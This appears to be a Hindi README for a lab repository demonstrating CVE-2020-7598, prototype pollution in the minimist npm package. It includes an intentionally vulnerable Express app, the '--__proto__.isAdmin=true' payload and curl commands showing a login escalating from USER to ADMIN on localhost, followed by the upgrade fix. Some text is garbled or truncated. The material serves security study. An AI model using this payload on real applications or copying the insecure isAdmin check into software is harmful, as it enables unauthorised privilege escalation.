
यह प्रोजेक्ट केवल इसके लिए बनाया गया है:
बिना अनुमति के सिस्टम के विरुद्ध उपयोग न करें।
CVE-2020-7598 npm पैकेज में Prototype Pollution भेद्यता है:
< 0.2.1>= 1.0.0 < 1.2.3यह भेद्यता हमलावर को निम्नलिखित को संशोधित करने की अनुमति देती है:
Object.prototype
इस तरह के payload के माध्यम से:
--__proto__.isAdmin=true
परिणामस्वरूप:
JavaScript में:
const user = {};
खाली ऑब्जेक्ट फिर भी इससे प्रॉपर्टी इनहेरिट करता है:
Object.prototype
यदि हमलावर यह करने में सफल हो जाता है:
Object.prototype.isAdmin = true;
तो:
({}).isAdmin
परिणाम होगा:
true
सभी सामान्य ऑब्जेक्ट के लिए।
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
या मैन्युअल:
npm install express [email protected]
फ़ाइल बनाएँ:
app.js
सामग्री:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulasi database user
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Endpoint vulnerable
*/
app.get("/parse", (req, res) => {
/*
Ambil raw query
*/
const payload = req.query.payload;
/*
Ubah jadi array argument CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Vulnerable parsing
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Login endpoint
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Vulnerable auth logic
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
आउटपुट:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
आउटपुट:
{
"success": true,
"role": "USER"
}
ब्राउज़र खोलें:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
या curl का उपयोग करें:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
सर्वर टर्मिनल:
GLOBAL isAdmin: true
इसका अर्थ है:
Object.prototype.isAdmin = true
सफलतापूर्वक संशोधित हो गया।
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
आउटपुट:
{
"success": true,
"role": "ADMIN"
}
जबकि:
isAdmin प्रॉपर्टी नहीं है।निम्नलिखित कोड:
if(user.isAdmin)
यह केवल ऑब्जेक्ट की अपनी (own) प्रॉपर्टी की जाँच नहीं करता।
JavaScript खोजेगा:
क्योंकि हमलावर निम्नलिखित को संशोधित करने में सफल रहा:
Object.prototype.isAdmin = true
इसलिए सभी सामान्य ऑब्जेक्ट वह प्रॉपर्टी इनहेरिट करते हैं।
सर्वर लॉग:
Own property: false
user.isAdmin: true
इसका अर्थ है:
isAdmin user की मूल प्रॉपर्टी नहीं है,minimist का सुरक्षित संस्करण:
npm install minimist@latest
पैच किया गया संस्करण ब्लॉक करता है:
__proto__constructorprototypeजिससे prototype pollution अब सफल नहीं हो पाता।
यह लैब और दस्तावेज़ीकरण Node.js एप्लिकेशन सुरक्षा के अध्ययन और prototype pollution research की आवश्यकताओं के लिए बनाए गए हैं।